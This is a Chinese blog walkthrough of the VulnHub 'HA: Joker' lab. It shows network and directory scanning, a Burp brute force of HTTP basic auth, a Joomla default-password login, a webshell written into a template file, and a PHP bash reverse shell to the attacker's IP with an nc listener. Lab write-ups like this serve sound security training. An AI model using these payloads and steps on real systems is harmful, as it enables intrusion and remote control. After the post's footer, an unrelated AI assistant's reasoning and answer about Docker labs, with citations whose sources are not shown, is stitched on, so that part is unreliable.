【渗透测试】——VulnHub靶机渗透实战 | HA:Joker

📖 前言:Vulnhub 是一个漏洞靶场平台,里面含有大量的靶场镜像,只需要下载虚拟机镜像,导入 VMWare 或者 VirtualBox 即可启动靶场。本文将从环境搭建、端口扫描、目录扫描到信息提取和突破8080端口,尽可能排除新版本遇到的环境Bug,详解介绍渗透测试全过程。如果你是新手小白,本文将带你一窥渗透测试的世界。


🕒 1. Kali环境与Joker靶场搭建

🔎 Kali Linux环境部署

注:Kali应设置为桥接模式。

在这里插入图片描述

首先,开启命令行窗口输入ifconfig查看IP地址。
在这里插入图片描述

Kali 输入ifconfig后eth0只有ipv6地址的解决方案

在这里插入图片描述
1、在虚拟网络编辑器上选择桥接模式,桥接的网卡别选自动,选择自己的网卡,具体可以在网络和适配器中查看
在这里插入图片描述在这里插入图片描述
2、再次ifconfig,ipv4地址出现。

🔎 Joker靶场

解压后用VMware打开即可。

🕒 2. 端口扫描

🕘 2.1 nmap

nmap 192.168.31.*

对Kali所属的网段进行全网段扫描,其中*表示通配符0~255。观察开放端口,及对应的不同服务。
在这里插入图片描述
在这里插入图片描述

如果开放的端口有80端口,推测该主机很有可能是一个网站服务器,在浏览器中的地址栏中输入此地址192.168.31.182尝试进行访问。
在这里插入图片描述

进一步扫描该靶场开放的端口信息

nmap -T4 -sV -A 192.168.31.182

-T4 提高扫描速度,-sV 检测服务版本,-A 启用高级扫描选项如操作系统探测和脚本扫描。

在这里插入图片描述

依次访问端口查看开放了什么服务

192.168.31.182:8080	# HTTP

在这里插入图片描述

发现需要账号密码才能进行登录,接下来要想办法收集账号密码信息,先用root账户和弱密码试试。

192.168.31.182:22	# SSH

注:在XShell中尝试进行SSH连接
在这里插入图片描述

发现不行,我们后文再讨论其收集方法。

🕘 2.2 fscan

fscan一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
它支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。

🔎 fscan下载链接

注意杀毒软件设置信任

在这里插入图片描述

fscan.exe -h 192.168.31.0/24

在这里插入图片描述

🕒 3. 目录扫描

🕘 3.1 dirsearch

在安全测试时,进行信息收集时可使用dirsearch进行目录枚举。将爬取到的url进行状态码识别,如果是403状态则进行保存,尝试绕过403以找到隐藏文件,并获取管理员权限。

🔎 dirsearch下载链接

下载完成后,直接在路径处输入cmd快速在当前目录下打开
在这里插入图片描述
随后批量安装依赖库,在CMD窗口中执行:

pip install -r requirements.txt		# 安装依赖库

安装完成依赖库,即可开始批量扫描:

python dirsearch.py -u http://192.168.31.182

在这里插入图片描述

HTTP 状态码科普

  • 2xx 存在且可访问
  • 3xx 存在但是给你重定向到另外的网站了
  • 403 可能存在,但是不允许你访问
  • 404 不存在
  • 405 请求方式不被允许
  • 500 服务器错误,通常是指服务器不能使用或者故障

🔎 HTTP 状态码 - 菜鸟教程

重点看图中标绿色的两个文件 phpinfo.php 和 secret.txt

在这里插入图片描述

在这里插入图片描述
其中phpinfo里面都是一些配置信息,价值不大。secret文件可以看到一段信息。

🕘 3.2 Dirb

在Kali中,我们同样可以使用web网站目录爆破工具Dirb进行目录扫描

在扫描过程中,选取详细强大的字典尤为重要。这里我们直接选取dirsearch的字典。

dirb http://192.168.31.182 dicc.txt -w

在这里插入图片描述

可以看到dirb扫描较慢,是由于单线程的缘故,实战中常使用前述采用多线程的dirsearch。

在这里插入图片描述

🕒 4. 信息提取

FindSomething是一款轻量级的浏览器插件,帮助用户快速查找网页源代码和JavaScript中的隐藏信息,如API请求、IP地址、敏感数据泄露等,便于开发者和安全人员进行分析。

我们可以在Chrome(需科学上网)或Firefox的扩展商店下载安装。
在这里插入图片描述
打开网页,右上角点击插件FindSomething,我们就可以看到站点的相关信息了。

在这里插入图片描述

🕒 5. 8080端口突破

🕘 5.1 爆破账号密码

书接上回,我们需要通过Brup Suite抓包分析

🔎 Brup Suite平台安装

在这里插入图片描述
通过尝试弱口令登录并代理发现,其请求包中发送的账号密码是隐藏的,隐藏在Authentication字段中。很明显我们猜测是某种加密或编码,我们放到编码工具尝试解码一下。

在这里插入图片描述
挨个尝试一下,发现是Base64编码的,这里也看到了我们尝试登陆的账号与弱口令。

接下来我们对其payload进行处理,观察格式为账号:密码,发送到Intruder中

在Payload的标签页中下划到Payload处理 → 添加 → 添加前缀 → admin:

添加 → 编码 → Base64编码

在这里插入图片描述

开始攻击

在这里插入图片描述

观察结果,发现长度没区别,换言之并没有解开密码。会不会是字典不全面?

还记得前面我们目录扫描到的secret.txt吗,其实里面有些提示。

在这里插入图片描述
其实指的是rockyou这个字典
在这里插入图片描述
我们更改字典尝试一下

在这里插入图片描述
似乎没什么变化,是不是我们账号错了?结合secret.txt的提示,是去击败joker。我们猜测一下用户名是joker。

在这里插入图片描述

在这里插入图片描述

我们惊喜的发现,获取到正确的密码,并且成功登录了。
在这里插入图片描述
接下来我们尝试获取网站后台管理最高权限。

在这里插入图片描述
Joomla框架的网页在登录的时候会有一个超级管理员的默认账号密码是joomla/joomla,尝试使用弱口令进行登录,用同样的方式进行后台登录。

在这里插入图片描述
在这里插入图片描述

🕘 5.2 入侵后台管理

以上页面搜寻一圈,发现没有什么可以攻击的地方,对于一个网站而言,应该是会有个后台管理页面,会在哪里呢?

请出dirsearch软件

python dirsearch.py --auth-type=basic --auth=joker:hannah -u http://192.168.31.182:8080/

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

账号密码就是前面我们推测的超级管理员的 joomla/joomla

在这里插入图片描述

🕘 5.3 webshell

shell是渗透中常用的名词,如getshell,webshell,反弹shell等等,都和shell相关。

  • getshell:获取到目标的命令执行权限
  • webshell:指网站后门,通过web服务进行命令执行
  • 反弹shell:把命令行的输入输出转移到其它主机

逐一点开各功能搜寻是否有上传文件的位置

在这里插入图片描述
Extension:插件扩展,大多数漏洞都源自于此

点进去后发现是个主题,随便进入一个

在这里插入图片描述
我们惊喜的发现我们可以随意编辑与新增文件!试试一句话木马

在这里插入图片描述

成功保存!接下来需要尝试寻找该文件所在的URL,先采取猜测拼接的方法。
以上图为例,我们是将文件保存在beez3/language这个目录下,我们尝试将其拼接进URL

http://192.168.31.182:8080/templates/beez3/language/test.php

注意这个templates不是一下子就想出来的哦,比如会猜测是template/Templates/templates 这些,一个个尝试联想排除。

在这里插入图片描述
我们将代码改成webshell的,随后使用中国蚁剑控制,第一次用该软件的友友可以参考下面的文章过一遍

🔎 【DVWA】——File Upload(文件上传)

在这里插入图片描述

发现不成功,为什么呢?这里其实涉及basic认证的问题,使用BP抓包可以发现

在这里插入图片描述

将认证信息复制进配置里,即可连接成功

在这里插入图片描述

在这里插入图片描述

🕘 5.4 反弹shell

什么是反弹shell:简单理解就是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

为什么要反弹shell:被控端会出现防火墙受限、权限不足、端口被占用等情形。

在本次实验中,我们让joker连接至kali。现实情况下,我们会采取购置一个公网IP的方式使受害者主机连接,而不是连接到攻击者主机的虚拟机kali。

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.31.232/7777 0>&1'");?>

这个 PHP 代码段执行了一条命令,该命令通过 Bash 创建了一个反向 shell 连接:

  • PHP exec 函数: exec 是 PHP 的一个函数,用于执行系统命令,并且可以获取命令的输出。
  • /bin/bash -c: 这是告诉 Bash 执行后面指定的命令字符串。-c 选项表示要执行的命令是在引号中指定的字符串。
  • bash -i: 启动一个交互式的 Bash shell。
  • >& /dev/tcp/192.168.31.232/7777: 将标准输出和标准错误输出重定向到 /dev/tcp/192.168.31.232/7777。这是一个特殊的设备文件,它允许 Bash 通过 TCP 协议连接到指定的 IP 地址和端口。
  • 0>&1: 将标准输入重定向到标准输出(已经重定向到 TCP 连接的设备)。

将上述代码写入前面创建的test.php中,并在kali中开启监听

nc -lvnp 7777
  • nc:调用 netcat,一个用于网络连接的工具,可以作为服务器端或客户端使用,通常用于调试、创建反向Shell等。
  • -l:表示监听模式,即等待来自外部的连接,充当一个服务器。
  • -v:启用详细模式,显示更多连接过程中的详细信息。
  • -n:忽略DNS解析,直接使用IP地址(加快连接速度)。
  • -p 7777:指定监听的端口号,这里是 7777 端口。

刷新一下test.php所在的URL

在这里插入图片描述

在这里插入图片描述
可以看到kali此刻已经拿下命令行权限。


OK,以上就是本期知识点“Joker靶场实战”的知识啦~~ ,感谢友友们的阅读。后续还会继续更新,欢迎持续关注哟📌~
💫如果有错误❌,欢迎批评指正呀👀~让我们一起相互进步🚀
🎉如果觉得收获满满,可以点点赞👍支持一下哟~

❗ 转载请注明出处
作者:HinsCoder
博客链接:🔎 作者博客主页

<think>嗯,用户想用Docker搭建渗透测试实战靶场环境,包括漏洞利用和练习平台。首先,我需要回忆一下相关的Docker靶场资源。记得有OWASP WebGoat和Juice Shop,这两个都是常用的。还有DVWA和bWAPP,这些也是比较基础的。Vulhub可能更适合中高级用户,因为它有更多真实漏洞的复现环境。 然后,用户可能需要具体的步骤,比如如何安装Docker,拉取镜像,运行容器,访问靶场。要确保步骤清晰,避免遗漏关键点。比如,Docker的安装可能因系统而异,但用户可能已经安装好了,所以可以简要带过,或者提供快速安装的命令。 接下来,要考虑用户可能的疑问,比如如何持久化数据,避免容器重启后数据丢失。这时候需要提到Docker卷的使用,比如用-v参数挂载卷。另外,网络配置也很重要,特别是端口映射是否正确,确保靶场可以通过浏览器访问。 用户可能还关心靶场的选择,不同靶场适合不同水平,比如DVWA适合新手,而Vulhub适合有经验的人。需要分点推荐,说明每个靶场的特点和适用场景。 另外,用户提到漏洞利用和练习平台,可能希望有具体的例子,比如在Juice Shop里练习XSS或SQL注入。这时候给出一些例子,帮助用户快速上手。 还要注意引用之前提供的参考资料,比如引用中的vulstudy、bwapp的示例,确保信息的一致性和可靠性。比如在提到vulstudy的时候,引用[^2],说明它包含多个靶场。提到bWAPP的时候,引用[^3]中的实操步骤。 最后,生成相关问题时要围绕用户的需求,可能涉及性能优化、多靶场管理、漏洞复现的调试技巧,以及如何结合其他工具进行自动化测试。这些问题需要自然延伸,帮助用户深入学习和解决问题。</think>### Docker渗透测试靶场环境搭建指南 根据提供的引用信息,Docker是搭建渗透测试靶场的高效工具,以下是具体搭建方法和推荐平台: 一、主流Docker化靶场推荐 1. **OWASP WebGoat** - 特点:专门设计Web应用漏洞的交互式学习平台 - 部署命令: ```bash docker run -d -p 8080:8080 -p 9090:9090 webgoat/webgoat ``` - 访问地址:http://localhost:8080/WebGoat 2. **vulstudy整合平台** - 包含DVWA、pikachu等10+流行靶场 - 部署步骤: ```bash git clone https://github.com/c0ny1/vulstudy.git cd vulstudy/docker-compose docker-compose up -d ``` 3. **bWAPP漏洞平台** - 含100+漏洞场景,适合进阶练习 - 快速部署: ```bash docker run -d -p 80:80 raesene/bwapp ``` 二、环境搭建关键要点 1. **网络配置** - 使用`-p`参数映射容器端口到宿主机,例如`-p 8080:80` - 多容器部署建议使用`docker network create`创建独立网络 2. **数据持久化** ```bash docker run -d -v /path/on/host:/app/data vulnerables/web-dvwa ``` 通过`-v`参数实现配置文件和数据库的持久化存储 3. **漏洞利用示例(以Juice Shop为例)** ```bash docker run -d -p 3000:3000 bkimminich/juice-shop ``` - 包含XSS、SQL注入等现代Web漏洞 - 访问http://localhost:3000后可通过开发者工具查看漏洞提示 三、进阶管理技巧 1. 使用`docker-compose`编排多靶场环境 2. 结合Burp Suite等工具进行流量分析 3. 通过`docker exec -it <container> /bin/bash`进入容器调试
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值